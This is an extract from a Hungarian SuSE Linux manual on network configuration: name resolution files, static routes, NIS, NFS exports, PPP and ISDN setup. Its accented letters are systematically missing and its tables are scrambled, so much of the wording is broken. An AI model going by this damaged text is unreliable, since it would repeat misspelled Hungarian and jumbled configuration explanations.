# networks A fjl tartalmazza a hlzatnv - hlzatcm # sszerendelseket. # A gpnk indulsakor hasznlja a linux, amikor a # hlzati alrendszer mr elindult, de a DNS # kiszolgl mg nem rhet el, illetve nem # kvnunk DNS kiszolglt hasznlni. # loopback 127.0.0.0 localnet 193.141.17.0 # End of networks.

5.2.2 fjllista: /etc/networks

order bind hosts

multi on off nospoof on alert on off

trim <valahol.hu>

A nvfelolds keressi sorrendje : lehetsges argumentumok: bind: a DNS kiszolgl els dleges haszno lata hosts: keress a /etc/hosts fjlban Meghatrozza, hogy a /etc/hosts fjlban engedlyezettek-e ismtl d IP cmek. o o Ennek hatsra a DNS kiszolgl kivdi az tejtsi ksrleteket. A logban nyoma marad az tejtsnek. Minden egyb kvetkezmny nlkl csak befolysolja a name-server spoong-ot. A feloldani kvnt nevek vgr l levgja a o paramterknt megadott nevet (Ez jelen esetben a valahol.hu). Ennek akkor van rtelme, ha az egsz hlzat egy tartomnyban van s az /etc/hosts fjlban nem FQDN neveket hasznlunk, hanem csak a gpek nevt.

5.2 tblzat: A /etc/host.conf paramrerei

Egy plda a /etc/host.conf-ra a 5.2.3 fjllistban lthat.


# /etc/host.conf # # We have named running order hosts bind # Allow multiple addrs multi on # End of host.conf

5.2.3 fjllista: /etc/host.conf

160

5.2. Hlzat belltsa a YaST nlkl /etc/nsswitch.conf A GNU C knyvtr 2.0 vltozatval rendelkez SuSE Linux hasznlni o tudja a "Name Service Switch" (NSS) rendszert. (Tovbbi informcikat az nsswitch.conf kziknyv oldalon man 5 nsswitch.conf, illetve a GNU C knyvtr referenciaknyvben (The GNU C Library Reference Manual) a "System Databases and Name Service Switch" 5.2.4 fjllistban tallhatunk)1 . A pldt nzve a hosts kezdet sort nevezzk "adatbzisnak", s ebben u az esetben a nvfelolds sorrendjt adja meg. Az els helyen ll a files, o ez a /etc/hosts fjlt jelenti; ezt kveti a dns, ez egy DNS krst (lsd named csomag) jelent. Ha a linux kap egy nvfeloldsi krst, akkor el szr a /etc/hosts o fjlban prblja beazonostani, ha ott nem tallja, akkor kld egy DNS krst a DNS kiszolgl fel. A /etc/nsswitch.conf fjlban megadhatjuk az ignyelt informcik keressi sorrendjt. (Egy pldt lthatunk az 5.2.4 kpen). A megjegyzsek # jellel kezd dhetnek s a sor vgig tartanak. o Az NSS /etc/nsswitch.conf "adatbzisnak" lehetsges tartalmt az 5.3 . fejezetben (163. oldal) tblzat tartalmazza. A jv ben beo kerl paramterek az automount, bootparams, netmasks s a o publickey lesz.

A doc kszlet a libcinfo csomagja.

161

5. Linux a hlzatban
# /etc/nsswitch.conf # # Ez a fjl tartalmazza az informcikrsek # feloldsi sorrendjt # passwd: compat group: compat # # Hagyomnyosan a /etc/passwd illetve a # /etc/group fjl tartalma. hosts: files dns # # A nvfelolds sorrendje a /etc/hosts fjl, # majd egy DNS krs. networks: files dns # # A hlzati nvfelolds sorrendje a /etc/networks, # majd egy DNS krs services: db files protocols: db files # # A szolgltatsok s protokollok elrsekor # adatbzisbl vagy a /etc/services s a # /etc/protocols fjlokbl szerezze # az informcit. netgroup: files

5.2.4 fjllista: /etc/nsswitch.conf

aliases ethers group hosts netgroup

Levelezsi aliasok. A sendmail(8) hasznlja; tovbbi informcik man 5 aliases. Ethernet zikai cmek (MAC). Felhasznli csoportok, a getgrent(3) hasznlja. Lsd a man 5 group. Gpnevek s IP cmek. A gethostbyname(3) s hasonl fggvnyek hasznljk. Gpek s felhasznlk listja a hlzatunkban a felhasznlk jogainak belltsra. Lsd man 5 netgroup.

5.3 tblzat: folytats a kvetkez oldalon...... o

162

5.2. Hlzat belltsa a YaST nlkl

networks passwd protocols rpc

services shadow

Hlzati nevek s cmek. A getnetent(3) hasznlja. Felhasznli jelszavak. A getpwent(3) hasznlja. Lsd man 5 passwd. Hlzati protokollok. A getprotoent(3) hasznlja. Lsd man 5 protocols. "Remote Procedure Call" nevek s cmek. A getrpcbyname(3) s hasonl fggvnyek hasznljk. Hlzati szolgltatsok. A getservent(3) hasznlja. A felhasznlk "Shadow" jelszavai. A getspnam(3) hasznlja. Lsd man 5 shadow.

5.3 tblzat: A /etc/nsswitch.conf "adatbzis" opcii

files db nis nisplus dns compat

additionally

Kzvetlen fjl elrs. Pl. /etc/aliases. Adatbzison keresztl. NIS rendszeren keresztl. Lsd a 5.4 . fejezetben (168. oldal). A NIS+ a NIS tovbbfejlesztett vltozata. DNS krst kld. Csak hosts s network neveknl m kdik. u Hagyomnyos elrs. Csak jelsz, shadow jelsz vagy group krseknl m kdik. u Lehetsges a klnfle keressi krsekre ms-ms m kdst belltani. Rszletek az nsswitch.conf ku ziknyvoldaln man 5 nsswitch.conf

5.4 tblzat: Az NSS belltsi lehet sgei "adatbzis" o

/etc/resolv.conf A /etc/host.conf s a /etc/resolv.conf fjlok felelnek a nvfelolds (resolver) m kdsrt. u A tartomny nevt itt lehet megadni a search kulcssz utn, utna kvetkez leg pedig a DNS kiszolglk IP cmt lehet felsorolni a o nameserver kulcssz utn (legfeljebb 3 DNS kiszolglt adhatunk 163

5. Linux a hlzatban meg)2 . Ha nem sikerl feloldani a megadott nevet, akkor a search kulcssz utni tartomnyt hozzragasztja a feloldand nvhez s ezt prblja feloldani. A megjegyzsek # jellel kezd dhetnek s a sor vgig o tartanak.
# /etc/resolv.conf # A nvfelolds belltsi lehetsgei. # # A tartomnynevnk valahol.hu search valahol.hu # # We use Gauss (193.141.17.1) as nameserver nameserver 212.40.96.161 nameserver 212.40.96.162 # Kt DNS kiszolglt fogunk hasznlni. # # End of resolv.conf

5.2.5 fjllista: /etc/resolv.conf A YaST (lsd a 5.1 . fejezetben (157. oldal)) a DNS belltsok adatait automatikusan beilleszti ide! /etc/HOSTNAME Gpnk teljes neve szerepel itt a tartomny nevvel egytt fully qualied domain name FQDN). A legtbb szkript ebb l a fljbl veszi az FQDN-t. o Csak egy sor szerepelhet benne, a gp s a tartomny neve. A SuSEcong a /etc/rc.config fjlban tallhat informcik szerint kitlti a /etc/HOSTNAME fjlt. 5.2.2 Indulskor lefut szkriptek

Ezek a scriptek lltjk be s indtjk el a hlzati alrendszert, amint a linux tvlt tbbfelhasznls futsi szintre.

Minl tbb a bejegyzs, annl hosszabb id be telik egy nv feloldsa! o

164

5.2. Hlzat belltsa a YaST nlkl

/sbin/init.d/network

/sbin/init.d/inetd

/sbin/init.d/rpc

/sbin/init.d/sendmail

Ez a script felel s a hlzatunk beo lltsrt; a hardver s a szofver oldalrl is. (hlzati csatolk, IP, hlzati s gateway cmek; valamint netmaszkok). A SuSEcong hozza ltre a /etc/rc.config fjl alapjn (Lsd a 5.1 . fejezetben (157. oldal)). Elindtja az inetd -t, ha az elindthat (/etc/rc.config). Ez a dmon szksges tbb szolgltats m kdu shez. Elindtja az RPC szolgltatsokat, amelyek tbbek kztt az NFS m ku dshez is szksgesek. Elindtja a sendmail programot a /etc/rc.config adatai alapjn. A sendmail az egyik legelterjedtebb mail dmon.

5.5 tblzat: Hlzatindt szkriptek

165

5. Linux a hlzatban

5.3

tvonalvlaszts SuSE Linux alatt

El sz o Az tvonalvlaszt tbla belltshoz tbb kell, mint a /etc/rc.config fjl paramtereinek lltgatsa; erre a clra van egy script a /sbin/init.d s egy fjl a /etc knyvtrban. Amikor a hlzat alapbelltsai sikeresen megtrtntek az indulskor (is) lefut szkripteknek (/sbin/init.d/network, i4l_hardware) ksznhet en a /sbin/init.d/route szkript beolvassa a /etc/route. o conf-ot, s felpti a statikus tvonalvlaszts tbljt. Minden egyes statikus tvonalnak szerepelnie kell a /etc/route.conf fjlban: tvonalak gpek fel, tvonalak gpek fel gateway-eken keresztl, tvonal ms hlzatok fel. A msik tvonalvlasztsi lehet sg a routed , amely egy kicsit tbbet tud s o kicsit nehezebb a belltsa (kziknyv routed oldala). Hogyan hasznljuk a /etc/route.conf-ot Ha a route programot paramterek nlkl indtjuk, kirja neknk a jelenleg hasznlt statikus tvonalvlasztsi tblt. Ha nem mdostottuk a /etc/ route.conf fjlt, akkor a route ltal kirt sorok s a fjlban szerepl sorok o megegyeznek. A Flags, Metric, Ref s Use kivtelvel az adatok a /etc/route. conf-ban azonosak. Ugyanis ezek az adatok nincsenek benne eredetileg a /etc/route.conf-ban. Ha nem mdostjuk a /etc/route.confot, akkor a route parancs ltal adott lista ugyanaz (gondolom a formtuma), mint a fjl, de ez all kivtelek a Flags, Metric, Ref s Use paramterek. (Gondolom azrt, mert ezek a paramterek menet kzben keletkeznek, s nincsenek benne a /etc/route.conf fjlban, de a route kilistzza ezeket is). A /etc/route.conf fjl kitltsnek szablyai: Megjegyzseket a # jel utn rhatunk s azok a sor vgig tartanak. Az res sorokat gyelmen kvl hagyja a route. Egy sorban kett , hrom o vagy ngy mez lehet, amelyek szkzzel vagy tabultorral vannak elvo lasztva. Az els mez ben szerepl cm a clja az tvonalnak. Itt szerepelhet o o o egy gp, egy hlzat, illetve egy elrhet DNS kiszolgl cme. Utbbi o esetben a tovbbiakban mr nv szerint (FQDN) is megadhatunk cmeket. A default kulcssz a default gateway-t jelenti, ezt csak akkor hasznljuk cl megadsra, ha tudjuk mit cseleksznk. Routing bejegyzsnek ne hasznljuk a 0.0.0.0 rtket. A msodik mez ben a gateway cme szerepelhet. Ez lehet a default kulcso sz, lehet IP cm, illetve egy nv (FQDN) is. Az els mez ben megadott o o cmet ezen a cmen keresztl lehet elrni, vagyis az els mez a megadott o o gateway mgtt van. 166

5.3. tvonalvlaszts SuSE Linux alatt A harmadik mez ben az els mez re vonatkoz netmaszkot adhatjuk o o o meg, amely egy gp esetn 255.255.255.255, mg hlzat esetn a hlzat netmaszkja. Az utols mez ben adhatjuk meg a hlzati eszkz nevt, amelyen keo resztl vezet a megadott tvonalunk. Ha mdostottuk a /etc/route.conf fjlt 5.3.1 bra, akkor ne felejtsk el jraindtani a route programot.
root@meggyfa:/ > /sbin/init.d/route restart

# Cl Dummy/tjr Netmaszk Eszkz # # Net devices # 127.0.0.0 0.0.0.0 255.255.255.0 lo 192.168.0.0 192.168.0.1 255.255.255.0 eth0 # # A helyi hlzatunk egyik rsze a 192.168.0.0/255.255.255.0 # s az els ethernet eszkzn keresztl kapcsoldunk ehhez # a hlzathoz. # Ha ehhez a hlzathoz tartoz gpet cmznk meg, akkor az # egyszeren kikerl az eth0 eszkzn az ethernet hlra, # amelyen a cmzett elkapja azt. # # A fenti sort tlhatroztuk, mivel az eth0 eszkz cme # 192.168.0.1, nyugodtan elhagyhatjuk az eszkz bejegyzst # mivel a cm egyrtelmen azonostja az eszkzt VAGY # a gateway helyre 0.0.0.0 cmet rhatunk. # 192.168.1.2 # # # # # 192.168.1.1 255.255.255.255 eth1

A 192.168.1.2 gp nincs benne a 192.168.0.0/255.255.255.0 hlzatban, ezt megcmezve a csomagok a 192.168.1.1 cm eszkz fel indulnak, s az eth1 eszkzn thaladva a 192.168.1.2 gp fogja azokat fogadni.

192.168.2.0 # # # # #

192.168.2.1

255.255.255.0

eth2

A 192.168.2.0/255.255.255.0 szintn egy hlzat, melynek egyik gpe fel kldtt csomagok az eth2 eszkzn keresztl indulnak a 192.168.2.1 gateway fel s azon keresztlhaladva rkeznek a 192.168.2.0/255.255.255.0 hlzatba, ahol a cmzett megkapja a csomagot. 212.40.70.170 0.0.0.2 ppp0

0.0.0.0

# Minden egyb csomag a ppp0 eszkz fel indul, amely # tovbbtja azokat az internet fel.

5.3.1 fjllista: Egyszer plda a /etc/route.conf fjlra u

167

5. Linux a hlzatban

5.4
5.4.1

NIS, Yellow Pages helyi hlzaton


Mi is a NIS?

Kpzeljnk el tbb UNIX gpet egy kzs hlzatban. A hlzat lnyege, hogy brki kpes elrni a hlzatba kttt gpek megosztott er forrsait; o persze tbbnyire csak azok akiknek a jogosultsgai megfelel ek... Minden o felhasznl rendelkezik egy prollal, amely az ltala meghatrozott munkakrnyezetet jelenti. A felhasznlk azt szeretnk, hogy a hlzat szmukra tltsz legyen: brmelyik gp el lnek le, az kpes legyen a megszokott munkakrnyezett el teremteni. Ezek nem lmok, ezt valstja meg a NIS s o az NFS szolgltats. Az NFS megosztja a fjlrendszereket a hlzaton, err l o szl a 5.5 bekezds. A NIS (Network Information Service)3 pedig a gpek adatbzisait osztja meg a hlzaton. Ilyen adatbzisok a /etc/group, a /etc/passwd s a /etc/shadow. A NIS-t mg ms, jobban specializlt feladatokra is hasznlhatjuk (mint a /etc/hosts vagy /etc/services), de itt, most eltekintnk a rszletekt l. o 5.4.2 A NIS kliens

A SuSE Linux tartalmazza a NIS kliens m kdshez szksges csomagokat. u Ez az ypclient csomag az n (hlzati) csomagok kztt. Miutn ezt a csomagot felteleptettk, lltsunk be nhny fontos dolgot: Adjuk meg a NIS tartomnyt az YP_DOMAINNAME paramtereknt a /etc/rc.config fjlban. Amikor a linux hlzati szintre vlt, a lefut /sbin/init.d/network szkript felhasznlja ezt a krnyezeti vltozt. A NIS tartomnyt lehet leg ne tvesszk ssze a DNS tartomnnyal o , nincs semmi kzk egymshoz, noha lehetnek azonosak. Adjuk meg a NIS kiszolglt is az YP_SERVER paramtereknt. A SuSEcong berja a helyes rtket a /etc/yp.conf fjlba (lsd a 5.4.1 fjllista). Ennek a krnyezeti vltoznak tartalmaznia kell a kiszolgl nevt, klnben nem indul el a NIS. Ennek a fjlnak tartalmaznia kell egy sort, ami az ypserver-rel kezd o dik s a NIS kiszolgl nevvel folytatdik. Ellen rizzk, hogy az RPC portmapper fut-e. A NIS hasznlja az RPC o hvsokat (Remote Procedure Calls). Ezrt az RCP portmapper-nek futnia kell. Ezt a kiszolglt a /sbin/init.d/rpc indtja s automatikusan m kdik, ha belltottuk a /etc/rc.config-ban. u lltsuk be a megfelel bejegyzseket a /etc/passwd s a /etc/ o group fjlokban. Azrt, hogy egy krst a NIS kiszolglhoz elkldjnk, a helyi fjlok tkutsa utn, egy sort, ami csak a + -t tartalmazza hozz kell adni a vonatkoz fjlokhoz. A NIS megengedi szmos ms opci belltst, mint a netgroup-ok vagy a NIS beadsok helyi fellrst. Olvassuk el a NIS README fjlt a pontos m veletekr l4 u o
3 4

A NIS-t ltalban YP-knt ismerik. Ez a "yellow pages"-bl jn, a "yellow pages" a net-en. /usr/doc/packages/ypclient/yp-clients-2.2.

168

5.5. NFSMegosztott fjlrendszerek


# # yp.conf # # Legal entries are: # # ypserver <servername> Definiljuk a kiszolgl nevt. # # ypserver galois.suse.de # End of yp.conf

5.4.1 fjllista: /etc/yp.conf Indtsuk el az ypbind dmont, ezzel elindult a NIS kliensnk. Ha YaST NIS krdsre vlaszolva igent mondtunk, akkor a network szkript elindtja ezt a dmont is5 . A belltsok utn adjuk ki a kvetkez kt parancsot: o
meggyfa:~ # rcnetwork restart meggyfa:~ # rcypclient restart

5.4.3

NIS Master s Slave kiszolgl

Ehhez szksges a ypserver csomag az n (hlzat) kszletb l, de o ennek lersa meghaladn a knyv kereteit, b vebb informci olvashat a o /usr/doc/packages/yp/HOWTO fjlban.

5.5

NFSMegosztott fjlrendszerek

Mint arrl el z leg 5.4 sz esett, az NFS (termszetesen NIS-sel egytt) to o ltszv teszi a hlzatot a felhasznlk el tt. Az NFS segtsgvel kpess o tesszk a linux rendszernket, hogy ms gpek megosztott fjlrendszert becsatoljuk a sajt fjlrendszernkbe, illetve a mi gpnk is kpes legyen fljrendszernek megosztsra. Az NFS rendszer asszimetrikus, a hlzatban vannak NFS kiszolglk s NFS kliensek. Termszetesen egy gp kpes egyszerre mindkt feladatot elltni, gy akr egyenrang megosztsnak ltsz NFS rendszert is tudunk kszteni. A leggyakoribb alkalmazsa egy nagy trterlettel rendelkez NFS o kiszolgl s tbb kis trkapacits NFS kliens. 5.5.1 Fjlrendszerek importlsaNFS kliens

Ha egy fjlrendszert szeretnnk becsatolni egy NFS kiszolglrl, az egyetlen megkts, hogy egy RPC portmapper dmon zemeljen a gpnkn. Ennek indtsrl el z leg a 5.4.2 fejezetben olvashatunk. Ha ez a dmon fut, akkor o o
5 Szigoran vve ez mr nem szksges tbb, de garantlja a visszakapcsoldst, ha pldul a NIS kiszolglt elindtottuk.

169

5. Linux a hlzatban semmi akadlya, hogy becsatoljunk egy megosztott fjlrendszert. Ehhez a mount programot tudjuk hasznlni:
mount -t nfs <NFS kiszolgl>:<elrsi t a kiszolgln> <s a gpnkn>

Nzznk egy egyszer pldt. Az NFS kiszolgl cme linux.hu s a gp u megosztotta a /mp3 knyvtrat, amelyet mi a /home/user/mp3 knyvtrban szeretnnk ltni:
meggyfa:/ # mount -t nfs linux.hu:/mp3 /home/user/mp3

5.5.2

Fjlrendszerek exportlsaNFS kiszolgl

Azt a gpet, amely kpes bizonyos fjlrendszereit megosztani, NFS szervernek nevezzk. Ezen a gpen mr tbb dmont el kell indtani: RPC portmapper (rpc.portmap) RPC mount-daemon (rpc.mountd) RPC NFS-daemon (rpc.nfsd) Ezek elindulnak a /sbin/init.d/rpc szkript ltal, ha engedlyeztk ezen szolgltats indulst. A /etc/exports fjl tartalmazza a megosztott fjlrendszereket, minden sorban egy knyvtr s a hozz tartoz jogosultsgok szerepelhetnek. Meg kell adnunk, hogy egy knyvtrat melyik gp(ek) milyen jogosultsgokkal rhet(nek) el. Az sszes knyvtrban tallhat fjl s alknyvtr ezeket a jogokat rkli. A gpek megadsnl hasznlhatunk IP cmet, teljes (FQDN) nevet, illetve a nvben * illetve ? karaktereket. Ha nem adunk meg nevet, akkor az sszes kapcsold gpre rvnyes jogokat adunk meg.

170

5.5. NFSMegosztott fjlrendszerek A legtbbszr hasznlt jogok a kvetkez k: o

ro rw root_squash

no_root_squash

link_relative

link_absolute map_identity map-daemon

Csak olvashat a fjlrendszer. Alaprtelmezett. rhat-olvashat. Ha a kliens gpen a root akar brmilyen m veu letet vgezni a becsatolt fjlrendszeren, akkor az NFS fjlrendszeren elveszti root jogait. Gondoljunk bele abba, hogy az NFS kiszolgl rendszergazdja nem felttlenl azonos a kliens gp rendszergazdjval!!! Ez gy valsul meg, hogy a 65534 felhasznli ID lesz kiadva a 0 (root) felhasznli ID-vel rendelkez felhasznlknak. Ezt a felhasznli ID-t o a nobody-nak kell belltani. Ha mgis egyezik a kt rendszergazda, s NEM lehet a hlzaton kvlr l elrni az NFS kiszolglt, akkor o nha van rtelme ezt az opcit megadni. Figyeljnk oda a belltsnl, mert ez az alaprtelmezett!!! Nincs kiadva a 0 felhasznli ID a 65534-es felhasznli ID-re (alaprtelmezetten). A linkeket tkonvertlja relatv linkekk. Csak teljes fjlrendszer megosztsa esetn hasznlhat. Alaprtelmezs. talaktja az abszolt linkeket (amik /-el kezd dnek) ../ kezdet v. o u A linkeket nem vltoztatja meg. A kiszolgln s a kliens gpen a felhasznlk azonos UID alatt tallhatk. Alaprtelmezs. A kiszolgln s a kliens gpen ms ID alatt tallhatk meg a felhasznlk, gy ltre kell hozni egy felhasznl-UID tblt, amelyet az nfsd hasznlni fog. Ehhez kell az ugidd dmon is.

5.6 tblzat: Jogosultsgok az exportlt fjlrendszerre

A /etc/exports fjlrl egy plda az 5.5.1 brn lthat. A /etc/exports fjlt a mountd olvassa. Ha brmit vltoztattunk ebben a fjlban, akkor indtsuk jra a mountd s nfsd dmonokat, hogy rvnybe lpjenek a vltozsok. Ezt knnyedn megtehetjk, gy:
meggyfa:~ # rcnfsserver restart

171

5. Linux a hlzatban

# # # # # # #

/etc/exports Fel kell sorolni a megosztani kvnt knyvtrakat, mely gpek rhetik el s azok milyen jogosultsgokat kapnak.

/home /usr/X11 /usr/lib/texmf / /home/ftp /usr/public

atlantisz (rw) eperfa (rw) atlantisz (ro) eperfa (ro) atlantisz (ro) eperfa (rw) meggyfa (ro,root_squash) (ro) (ro, root_squash)

# Ezt mindenki elrheti, de csak olvashat jogokkal. /usr/public *.valahol.hu(rw)

# rni csak a sajt tartomnyunk kpes /home *.valahol.hu(rw)

# A /home knyvtrt megosztjuk, hogy mkdjn a NIS+NFS. # End of exports

5.5.1 fjllista: /etc/exports

172

6. fejezet

Kapcsolds a vilghoz s aztn hogyan tovbb?


Fordtotta: Subosits Gyula Ebben a fejezetben bemutatjuk hogyan ltesthetnk kapcsolatot tvoli hlzatokkal: vilgmret hlzatokkal (vagy WAN-okkal) s az Internettel. Azt u is megmagyarzzuk hogyan lltsuk be a szolgltatst amely ilyen kapcsolatokat hasznl. Kt szabvnyos kommunikcis protokollt ismer a UNIX vilg, UUCP s TCP/IP (modemen vagy ISDN-nen keresztl). Mg az UUCP (Unix to Unix Copy) f leg levl s hrek tvitelre kszlt, a TCP/IP tartalmaz egy valdi o hlzati kapcsolatot, amely ellt minden szolgltatst egy LAN fel. Ha TCP/IP-t hasznlunk modemes kapcsolattal, manapsg rendszerint a PPPt (Point to Point Protocol) alkalmazzuk1 . ISDN kapcsolathoz ltalban rawip s snycPPP hasznlatra van szksg (lsd a 6.2.5 . fejezetben (182. oldal)). Hogy egy ilyen WAN kapcsolatot tudjunk kszteni ez lesz a trgya a kvetkez rsznek. A PPP-t rviden bemutatjuk a 6.1 fejezetben s az ISDN kono gurlst is megmagyarzzuk (lsd a 6.2 . fejezetben (175. oldal)). Ezutn felkapcsoldunk egy analg modemmel (lsd a 6.5 . fejezetben (188. oldal)) s belltunk egy PPP kapcsolatot a modemnek (lsd a 6.6 . fejezetben (188. oldal)). Belltjuk az email s a news rendszert (lsd a 6.8 . fejezetben (202. oldal) s a 6.9 . fejezetben (205. oldal)) valamint faxolsi lehet sget (lsd o a 6.10 . fejezetben (207. oldal)) vzlatosan ttekintve. A kvetkez rszben krvonalazzuk hogyan ksztsnk egy alap modemes o kapcsolatot s hogyan hasznljunk terminl programot a WAN elrshez. Ezek utn nhny rszletbe bocstkozunk a PPP kongurlssal kapcsolatban, belertve egy PPP kiszolglt. Majd az e-mail alapvet dolgait, egy o news rendszerbelltst s a faxkpessgeket fejtegetjk.

Az SLIP (Serial Line Internet Protocol) egyre inkbb kimegy a divatbl.

173

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

6.1

PPP

Fordtotta: Subosits Gyula A PPP (Pont-Pont kzti protokoll) lehet v teszi TCP/IP kapcsolat ltestst o soros vonalon keresztl. A kliens s a kiszolgl egymssal kommunikl amg el nem fogadjk egyms kapcsolatt s belltjk ennek megfelel en o a szksges paramtereket. A szerver bellthat egy IP cmet valamint egy nevet a kliensnek. Radsul a PPP szabvnyos protokoll (mg az SLIP nem) s rendszerint csak ezt knljk fel az internet-szolgltatk. A PPP dmon (pppd ), amelyet a kommunikcira hasznlunk klnbz eszo kzkkel, ltfontossg s kzponti szerepet jtszik a PPP kapcsolatban. Ez a dmon dolgozhat brmelyik szerepben, kiszolglknt vagy kliensknt is. Tnyleges kapcsolat ltestshez a wvdial vagy a chat program szksges. 6.1.1 Kvetelmnyek a PPP hasznlathoz

SuSE Linux alatt a kvetkez elemek szksgesek a PPP hasznlathoz : o A kernelnek beptett tmogatst kell tartalmaznia a TCP/IP-hez s a PPPhez. Ez a standard kernel s a modulok rsze nem kell j kernelt fordtanunk. A hlzati csomagoknak teleptve kell lennik. A szksges csomagok az nkita s az nkitb az a kszletb l. o A PPP alapcsomag a ppp az n kszletb l, amely tartalmazza a o pppd -t s a chat szkript-et is. A wvdial csomag az n kszletb l kapcsolat ltestshez s lezo rshoz. Ha ISDN-t akarunk kongurlni, akkor lsd a 6.2.3 . fejezetben (177. oldal). Ismernnk kell bejelentkezsi nevnket s jelszavunkat a PPP kiszolglhoz. 6.1.2 Tovbbi informcik a PPP-r l o

A PPP sokkal tbb vlasztsi lehet sget s kpessget ajnl fel az itt felsoo roltaknl. Meghaladn e knyv lehet sgeit mg csak megemlteni is valao mennyit. Ha szksgnk van tbb kpessgre, vagy ms belltsra, lapozzunk a megfelel kziknyvoldalakhoz, pldul: o NET4-3-HOWTO.gz; (korbban: NET-3-HOWTO.gz) s PPP-HOWTO. gz a /usr/doc/howto/en-ben, valamint a dokumentcik a /usr/ doc/packages/ppp-r l s a /usr/doc/packages/wvdial-rl. o Tovbbi rszletes informcikat tartalmaznak a PPP-r l s protokolljairl a o megfelel RFC-k: o RFC1144: Jacobson, V. "Compressing TCP/IP headers for low-speed serial links." 1990 Februr; RFC1321: Rivest, R. "The MD5 Message-Digest Algorithm." 1992 prilis; 174

6.2. ISDN bellts RFC1332: McGregor, G. "PPP Internet Protocol Control Protocol (IPCP)." 1992 Mjus; RFC1334: Lloyd, B. Simpson, W.A. PPP authentication protocols." 1992 Oktber; RFC1548: Simpson, W.A. "The Point-to-Point Protocol (PPP)." 1993 December; RFC1549: Simpson, W.A. "PPP in HDLC Framing." 1993 December.

6.2

ISDN bellts

Fordtotta : Subosits Gyula s Vradi Istvn A "norml" hlzati kpessgen kvl a Linux kapcsoldni tud az internetszolgltatnkhoz ISDN-en keresztl is. A legtbb lehet sg bellthat a o YaST segtsgvel, egyszer en s knnyen kszthet ISDN kongurci a u o SuSE Linux-szal. Ez a bekezds f leg egy ltalnos kapcsolatra vonatkozik az interneto szolgltatnkkal ISDN-en keresztl. Termszetesen, az isdn4linux ennl sokkal tbbet tud. Ne felejtsk el, hogy nhny megemltett eljrs illegalits al esik. Minden egyes aktv krtya s a beptett programja hitelestett. A passzv ISDN vezrl k hitelestettek akkor, ha a gyri szoftvereikkel futnak. o Az ELSA Mirolink PCI (rgebben Quickstep-nek hvtk) s az Eicon Diva 2.01 kivtelek ezek hasznlata megengedett Linux alatt. Azoknak, akiknek hitelestsre van szksgk, krjk hasznljk valamelyik aktv ISDN krtyt, vagy csatlakoztassk a vezrl t a hzi telefonkzpontjuko hoz. Az ISDN egy szmottev klnbsgben tr el a modemes kapcsolattla ho lzat egyszer lltdik be s kongurldik, nincs szksg kiegszt parano csokra. Ez meghvdik kvnsgra". Pldul amint egy telnet programot indtunk, a kapcsolat ltre fog jnni. Erre normlis helyzetben kb. hrom msodpercre van szksg. Ezrt, ha lehetsges engedlyezzk a norml felhasznlknak a kapcsolat ltestst. Bellthatjuk a holtid t. Ez az az o id tartam, amely utn a kapcsolat automatikusan trl dni fog, ha az sszes o o processz amely a kapcsolatot hasznlja, resjratban fut. Mikzben belltjuk az ISDN rendszert, ajnlatos hogy tartsuk szemmel az zeneteket a /var/log/messages-ben. Ehhez indtsunk egy msik xterm ablakot, vagy lpjnk be egy msik konzolra s rjuk be:
meggyfa: # less +F /var/log/messages

A +F opci ltal a kperny n megjelenik minden j sor "l ben", bers o o kzben; ezt az zemmdot a Ctrl hagyhatjuk el. + C -vel Egy msik opcival megjelenthetjk az ISDN forgalmat grakusan, az xisdnload program segtsgvel. Azonnal ltni fogunk minden egyes sort, amely a /var/log/messages-hez addik. 175

6. Kapcsolds a vilghoz s aztn hogyan tovbb? 6.2.1 ISDN bellts - Lpsr l lpsre o

A kvetkez bekezds tartalmaz egy lpsr l lpsre trtn tmutatt az Ino o o ternetre kapcsoldshoz. El szr prblkozzunk ezzel. Ha nem m kdik, o u vagy rszletesebb informcira van szksgnk, akkor olvassuk el a kvetkez bekezdst a fejezetb l. o o 1. Mint root felhasznl indtsuk el a YaST programot ha a KDE-ben Alt + F2 -t, vagyunk: nyomjuk meg az azutn rjuk be xterm. A YaST egy j ablakban fog elindulni. 2. Menjnk a Rendszer adminisztrci, Hardver integrlsa a rendszerbe majd az ISDN hardver konfigurlsa menbe. 3. Tltsk ki a mez ket. Ha nem vagyunk biztosak a berandkban, doo kumentcit tallunk a /usr/share/doc/packages/i4l-ben s a kziknyv kvetkez rszben. o 4. Ezutn vlasszuk az Indul-t az ablakban. 5. Ha ez sikerlt, (egy pozitv zenet jelenik meg a kperny n), akkor vo lasszuk ISDN-Paramter-t. 6. Szintn tltsk ki a mez t. o 7. Ezutn vlasszuk az Indul-t az ablakban. 8. Ha ez m kdik (msik pozitv zenet jelenik meg), akkor vlasszuk a u Ments-t. 9. Menjnk a Hlzat konfigurls menbe, Hlzat alap konfigurls-hoz. 10. Ksztsnk egy j eszkzt az ( - ISDN SyncPPP. Nyomjuk meg F5 -tel) a RETURN-t, az Adja meg a hlzat cmt men elrshez. 11. Hagyjuk ezeket a belltsokat gy ahogy vannak a szmtgpnk IP cme 192.168.0.99, a Ponttl-Pontig tr IP-cme 192.168.0.1 s csak a Default-Gateway-t vltoztassuk meg ugyanarra a cmre mint a Ponttl-Pontig tr IP-cme (192.168.0.1). 12. Befejezsl vlasszuk a Folytats-t. 13. A Hlzat vlasztsa ablakban aktvlnunk kell a krtyt az F4 billenty vel. u 14. Mentsk el ezt az F10 billenty vel. u 15. Menjnk a Nvkiszolgl konfigurci-hoz, vlaszoljunk a krdsre Igen (Yes)-szel. 16. rjuk be a szolgltatnk nvkiszolgljnak (DNS) IP cmt. Ha ezt nem tudjuk, krdezzk meg a szolgltatnkat. Rendszerint megtallhat a szolgltat weboldaln. 17. Zrjuk be a YaST -tot. rjuk be: init 1 egy terminlablakban. Ha KDE (s X) fut, akkor ezek lellnak. 18. Indtsuk jra a hlzatot init 2-vel, ha rendszerint az X-et startx-el indtjuk. Ha X Windows alatt jelentkeznk be, akkor indtsunk init 3mal. 176

